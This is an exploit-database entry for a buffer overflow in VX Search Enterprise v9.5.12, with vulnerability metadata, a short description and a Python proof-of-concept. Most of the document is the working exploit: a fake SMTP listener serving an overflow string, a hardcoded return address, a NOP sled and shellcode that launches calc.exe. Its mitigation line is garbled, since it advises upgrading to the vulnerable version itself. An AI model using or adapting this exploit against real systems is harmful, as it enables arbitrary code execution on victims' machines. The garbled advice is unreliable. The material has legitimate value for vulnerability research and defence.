VX Search Enterprise v9.5.12 email verify exploit

vendor:

VX Search Enterprise

by:

Greg Priest

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: VX Search Enterprise

Affected Version From: VX Search Enterprise v9.5.12

Affected Version To: VX Search Enterprise v9.5.12

Patch Exists: YES

Related CWE: N/A

CPE: a:vxsearch:vx_search_enterprise:9.5.12

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows7 x64 HUN/ENG Professional

2017

VX Search Enterprise v9.5.12 email verify exploit

A buffer overflow vulnerability exists in VX Search Enterprise v9.5.12 when sending an overly long string to the email verify function. An attacker can exploit this vulnerability to execute arbitrary code in the context of the application. The vulnerability is due to a boundary error when handling user-supplied input. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary code in the context of the application.

Mitigation:

Upgrade to the latest version of VX Search Enterprise v9.5.12

Source

Exploit-DB raw data:

author = '''
  
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
  
# Exploit Title: VX Search Enterprise v9.5.12 email verify exploit
# Date: 2017.03.28
# Exploit Author: Greg Priest
# Version: VX Search Enterprise v9.5.12
# Tested on: Windows7 x64 HUN/ENG Professional
'''


import socket

port = 25
s = socket.socket()
ip = '127.0.0.1'            
s.bind((ip, port))            
s.listen(5)                    

overflow = "A" * 256
eip = "\x7A\xB7\x1B\x65"
# Search NO ASLR with mona.py
#"\x94\x21\x1C\x65" NO ASLR QtGui4.dll
#"\x7A\xB7\x1B\x65" NO ASLR QtGui4.dll
#"\x09\xc9\x1D\x65" NO ASLR QtGui4.dll
nop = "\x90" * 12
#calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

exploit = overflow+eip+nop+shellcode

print "Listening on port:", port

while True:
    conn, addr = s.accept()     
    conn.send(exploit+'\r\n')
    conn.close()
    print ""
    print "Succesfully exploitation!"